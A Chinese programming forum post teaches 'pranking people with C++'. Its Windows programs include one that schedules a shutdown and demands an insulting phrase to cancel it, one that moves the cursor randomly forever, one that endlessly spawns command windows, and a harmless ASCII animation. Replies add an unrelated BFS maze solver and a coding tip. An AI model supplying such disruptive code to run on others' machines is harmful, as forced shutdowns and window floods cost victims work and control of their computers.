猫史档案馆


怎么用c++整人

用户:专注肝帝专注肝帝查看:2 回复:2 评论:2 创建时间:2023-08-29T17:13:44


今天教大家怎么整人。

1.侮辱性代码

#include <bits/stdc++.h>
#include <windows.h>
#include <string>
using namespace std;
string n;
int main()
{
	system("shutdown /s /t 300");
	cout<<"叫爷爷,不然关机"<<endl;
	cout<<"关掉这个程序也没用,别做无谓的挣扎"<<endl;
	cin>>n;
	while(n!="爷爷")
	{
		cout<<"叫爷爷!是不是皮厚?"<<endl;
		cin>>n;
	}
	cout<<"喵!" <<endl;
	system("shutdown /a");
	return 0;
}

2.鼠标乱飞

#include<windows.h>
#include<ctime>
using namespace std;
int main()
{
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    while(1)
    SetCursorPos(rand()%x,rand()%y);
    return 0;
}

3.弹窗喵

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)system("start cmd");
}

4.恶搞代码

#include<bits/stdc++.h>
using namespace std;
void y(){
	for(int i = 0;i < 9999;i++){
		for(int j = 0;j < 30000;j++){
	 
		}
	}
}
void ren()
{
cout<<"  &&&&   "<<endl;
cout<<" &&&&&&  "<<endl;
cout<<"&&&&&&&& <==讨厌的人"<<endl;
cout<<" &&&&&&  "<<endl;
cout<<"  &&&&   "<<endl;
cout<<" & && &  "<<endl;
cout<<"&  &&  & "<<endl;
cout<<"&  &&  & "<<endl;
cout<<"   &&    "<<endl;
cout<<" &    &  "<<endl;
cout<<"&      & "<<endl;
cout<<"&      & "<<endl;
 }
void ren2()
{
cout<<"  &&&&   ——————"<<endl;
cout<<" &&&&&&  |  我好   |"<<endl;
cout<<"&&&&&&&& |  厉害   |"<<endl;
cout<<" &&&&&&  ——————"<<endl;
cout<<"  &&&&   "<<endl;
cout<<" & && &  "<<endl;
cout<<"&  &&  & "<<endl;
cout<<"&  &&  & "<<endl;
cout<<"   &&    "<<endl;
cout<<" &    &  "<<endl;
cout<<"&      & "<<endl;
cout<<"&      & "<<endl;
}
void ren3()
{
cout<<"  &&&&                    ~"<<endl;
cout<<" &&&&&&                  ~ "<<endl;
cout<<"&&&&&&&&                ~  "<<endl;
cout<<" &&&&&&                ~   "<<endl;
cout<<"  &&&&                 ~   "<<endl;
cout<<" & && &               ~    "<<endl;
cout<<"&  &&  &              ~    "<<endl;
cout<<"&  &&  &               ~   "<<endl;
cout<<"   &&                  ~   "<<endl;
cout<<" &    &                 ~  "<<endl;
cout<<"&      &                 ~ "<<endl;
cout<<"&      &                  ~"<<endl;
 } 
void ren4()
{
cout<<"  &&&&   ——————     ~"<<endl;
cout<<" &&&&&&  |  那是   |     ~ "<<endl;
cout<<"&&&&&&&& |什么?   |    ~  "<<endl;
cout<<" &&&&&&  ——————  ~   "<<endl;
cout<<"  &&&&                 ~   "<<endl;
cout<<" & && &               ~    "<<endl;
cout<<"&  &&  &              ~    "<<endl;
cout<<"&  &&  &               ~   "<<endl;
cout<<"   &&                  ~   "<<endl;
cout<<" &    &                 ~  "<<endl;
cout<<"&      &                 ~ "<<endl;
cout<<"&      &                  ~"<<endl;
 } 
void ren5()
{
cout<<"  &&&&   —————— ~"<<endl;
cout<<" &&&&&&  |  那是   | ~ "<<endl;
cout<<"&&&&&&&& |什么?   |~  "<<endl;
cout<<" &&&&&&  ————  ~   "<<endl;
cout<<"  &&&&             ~   "<<endl;
cout<<" & && &           ~    "<<endl;
cout<<"&  &&  &          ~    "<<endl;
cout<<"&  &&  &           ~   "<<endl;
cout<<"   &&              ~   "<<endl;
cout<<" &    &             ~  "<<endl;
cout<<"&      &             ~ "<<endl;
cout<<"&      &              ~"<<endl;
 } 
void ren6()
{
cout<<"  &&&&   ———   ~"<<endl;
cout<<" &&&&&&  |  那是 ~ "<<endl;
cout<<"&&&&&&&& |什么?~  "<<endl;
cout<<" &&&&&&  ——  ~   "<<endl;
cout<<"  &&&&         ~   "<<endl;
cout<<" & && &       ~    "<<endl;
cout<<"&  &&  &      ~    "<<endl;
cout<<"&  &&  &       ~   "<<endl;
cout<<"   &&          ~   "<<endl;
cout<<" &    &         ~  "<<endl;
cout<<"&      &         ~ "<<endl;
cout<<"&      &          ~"<<endl;
 } 
 void ren7()
{
cout<<"  &&&&   —— ~"<<endl;
cout<<" &&&&&&  |   ~ "<<endl;
cout<<"&&&&&&&& |什~  "<<endl;
cout<<" &&&&&&    ~   "<<endl;
cout<<"  &&&&     ~   "<<endl;
cout<<" & && &   ~    "<<endl;
cout<<"&  &&  &  ~    "<<endl;
cout<<"&  &&  &   ~   "<<endl;
cout<<"   &&      ~   "<<endl;
cout<<" &    &     ~  "<<endl;
cout<<"&      &     ~ "<<endl;
cout<<"&      &      ~"<<endl;
 } 
void canju()
{
	cout<<"此处省略";
	for(int i = 0;i < 5;i++){
		cout<<"·";
		y();
		cout<<"·";
		y();
		cout<<"·";
		y();
		system("cls");
		cout<<"此处省略";
	}
 } 
void canju2()
{
	for(int i = 0;i<1000;i++){
		for(int j = 0;j < i;j++){
			cout<<" ";
		}
		cout<<"喵喵喵,我是喵国王,阿巴巴巴巴巴";
	}
}
 
int main()
{
	ren();
	y();
	system("cls");
	ren2();
	y(); 
	system("cls");
	ren3();
	y();
	system("cls");
	ren4();
	y();
	system("cls");
	ren5();
	y(); 
	system("cls");
	ren6();
	y();
	system("cls");
	ren7();
	y();
	system("cls");
	canju();
	y();
	system("cls");
	canju2();
return 0;
}

以下就是四大天王


回复

上一页1 页 / 共 1下一页
SCS_user_EHQ0z2l6elSCS_user_EHQ0z2l6el

#include <iostream>
#include<queue>
#include<vector>
using namespace std;
int a[1005][1005];
int vis[1005][1005];
int dis[1005][1005];///维护到出发点的最短距离
const int MAXN=4;
int fx[MAXN] = {1,-1,0,0};
int fy[MAXN] = {0,0,-1,1};
struct node{
    int x, y;
};
int main(){
    int n;
    cin >> n;
    memset(a,-1,sizeof a);
    for(int i = 1; i <= n; i++){
        for(int j = 1; j <= n; j++){
            cin >> a[i][j];
        }
    }
    ///bfs
    queue <node> q;
    node z;
    z.x=1;z.y=1;
    q.push(z);///压入起点
    vis[1][1] = 1;

    while(!q.empty()){
        node now = q.front();
        q.pop();

        ///访问我下一步能够到达的结点
        for(int i = 0; i < MAXN; i++){
            int tox = now.x + fx[i];
            int toy = now.y + fy[i];
            if(vis[tox][toy] == 0 && a[tox][toy] == 0){
                z.x=tox;z.y=toy;
                q.push(z);
                vis[tox][toy] = 1;
                dis[tox][toy] = dis[now.x][now.y] + 1;
            }
        }
    }
    cout << dis[n][n]+1;
}//不如写个bfs让他们伤心、难过、自尊心没了

点赞0


评论


SCS_user_EHQ0z2l6elSCS_user_EHQ0z2l6el

你第四个代码那个y是等待吧,那你为啥不用Sleep?

点赞0


评论